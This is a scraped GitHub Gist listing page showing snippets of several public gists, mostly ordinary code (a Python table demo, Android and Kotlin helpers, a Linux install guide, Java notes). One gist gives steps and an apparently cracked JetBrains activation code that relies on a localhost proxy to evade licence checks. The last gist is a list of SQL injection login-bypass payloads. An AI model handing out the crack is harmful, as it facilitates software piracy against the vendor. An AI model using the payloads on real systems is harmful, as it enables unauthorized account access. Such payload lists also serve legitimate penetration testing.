Skip to content

Instantly share code, notes, and snippets.

@chalg
chalg / great_tables_co2.py
Last active May 13, 2024 07:15
Showcase electricity consumption data for 2023 from ElectricityMaps via Python great_tables
from great_tables import GT, md, html, system_fonts
import pandas as pd
power_cie_prepared_tbl = pd.read_csv("./data/2023_cie_power_cons.csv")
# Create a Great Tables object
ciep_gt_tbl = GT(data=power_cie_prepared_tbl)
# Apply wider color ranges & formatting
gt_tbl = ciep_gt_tbl \
@AlShevelev
AlShevelev / gist:ea43096e8f66b0ec45a0ec0dd1e8cacc
Created June 24, 2019 05:40
ViewPager2 extension for reducing drag sensitivity
/**
* Reduces drag sensitivity of [ViewPager2] widget
*/
fun ViewPager2.reduceDragSensitivity() {
val recyclerViewField = ViewPager2::class.java.getDeclaredField("mRecyclerView")
recyclerViewField.isAccessible = true
val recyclerView = recyclerViewField.get(this) as RecyclerView
val touchSlopField = RecyclerView::class.java.getDeclaredField("mTouchSlop")
touchSlopField.isAccessible = true
@giovanni-rn
giovanni-rn / index.html
Created May 13, 2024 07:12
Code source HTML pour le projet "Devine le nombre"
<!DOCTYPE html>
<html lang="fr">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Devine le nombre</title>
</head>
<body>
<h1>Devine le nombre</h1>
<form>

Steps:

  • Add Activation Code
  • Click Manage Proxy
  • Click Manual proxy
  • Add localhost in hostname

Activation Code:

I2A0QUY8VU-eyJsaWNlbnNlSWQiOiJJMkEwUVVZOFZVIiwibGljZW5zZWVOYW1lIjoiVU5JVkVSU0lEQURFIEVTVEFEVUFMIERFIENBTVBJTkFTIiwiYXNzaWduZWVOYW1lIjoiVGFvYmFv77yaSkVU5YWo5a625qG25r+AIOa0u+W3peS9nOWupCAgcmVuIHpodW4gZGlhbiBtaW5n77yBIiwiYXNzaWduZWVFbWFpbCI6IlJvYmJ5X1dlbmlnZXJAb3V0bG9vay5jb20iLCJsaWNlbnNlUmVzdHJpY3Rpb24iOiJGb3IgZWR1Y2F0aW9uYWwgdXNlIG9ubHkiLCJjaGVja0NvbmN1cnJlbnRVc2UiOmZhbHNlLCJwcm9kdWN0cyI6W3siY29kZSI6IkRQTiIsInBhaWRVcFRvIjoiMjAyNC0xMC0xNCIsImV4dGVuZGVkIjpmYWxzZX0seyJjb2RlIjoiREIiLCJwYWlkVXBUbyI6IjIwMjQtMTAtMTQiLCJleHRlbmRlZCI6ZmFsc2V9LHsiY29kZSI6IlBTIiwicGFpZFVwVG8iOiIyMDI0LTEwLTE0IiwiZXh0ZW5kZWQiOmZhbHNlfSx7ImNvZGUiOiJJSSIsInBhaWRVcFRvIjoiMjAyNC0xMC0xNCIsImV4dGVuZGVkIjpmYWxzZX0seyJjb2RlIjoiUlNDIiwicGFpZFVwVG8iOiIyMDI0LTEwLTE0IiwiZXh0ZW5kZWQiOnRydWV9LHsiY29kZSI6IkdPIiwicGFpZFVwVG8iOiIyMDI0LTEwLTE0IiwiZXh0ZW5kZWQiOmZhbHNlfSx7ImNvZGUiOiJETSIsInBhaWRVcFRvIjoiMjAyNC0xMC0xNCIsImV4dGVuZGVkIj

@umayr
umayr / recover-deleted-branch.sh
Created April 1, 2016 11:41
How to recover a deleted branch
## Pre-requisite: You have to know your last commit message from your deleted branch.
git reflog
# Search for message in the list
# a901eda HEAD@{18}: commit: <last commit message>
# Now you have two options, either checkout revision or HEAD
git checkout a901eda
# Or
git checkout HEAD@{18}
@Le0xFF
Le0xFF / VoidLinux_Install.md
Last active May 13, 2024 07:10 — forked from tobi-wan-kenobi/VOID-INSTALL.md
Void Linux installation (on NVMe with trim enabled, with BTRFS filesystem, with Full Disk Encryption using LUKS, with swapfile)

Void Linux installation (on NVMe with trim enabled, with BTRFS filesystem, with Full Disk Encryption using LUKS, with swapfile)

This gist could be outdated, so if you prefer an automated script based on this gist, check out my github repo VoidLinuxInstaller!


Features

This guide explains how to set up Void Linux:

  • On an NVMe disk, enabling trim;
  • Using Full Disk Encryption including /boot, with LUKS;
@rduplain
rduplain / MainActivity.java
Created May 8, 2012 20:08
A very simple full-screen WebView activity for Android native wrappers, as a starting point.
package com.willowtreeapps.demo;
import android.app.Activity;
import android.os.Bundle;
import android.view.KeyEvent;
import android.view.Window;
import android.webkit.WebView;
import android.webkit.WebViewClient;
public class MainActivity extends Activity {
using UnityEngine;
public class JumpingCharacterControllerExample : MonoBehaviour
{
[SerializeField] private float jumpHeight;
[SerializeField] private float timeToReachJumpApex;
private Vector3 _velocity;
private Vector3 _oldVelocity;
@danielpaul
danielpaul / revision.java
Last active May 13, 2024 07:04
Basic Java Revision Notes - Written in Java
/*
*
* / --------------------------------[ NUIM CS141 Java Revision ]------------------------------- \
* || Designed to easily revise everything covered in CS141 by just reading through this code. ||
* || Comments accompany almost every line of code to explain its purpose. ||
* || Some theory we need to know are included in the bottom... ||
* \ ------------------------------------------------------------------------------------------- /
*
*
* ____ _ __ ____ __
@spenkk
spenkk / sqli-auth-bypass.txt
Created November 17, 2020 14:10
SQL Injection Authentication Bypass payloads
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#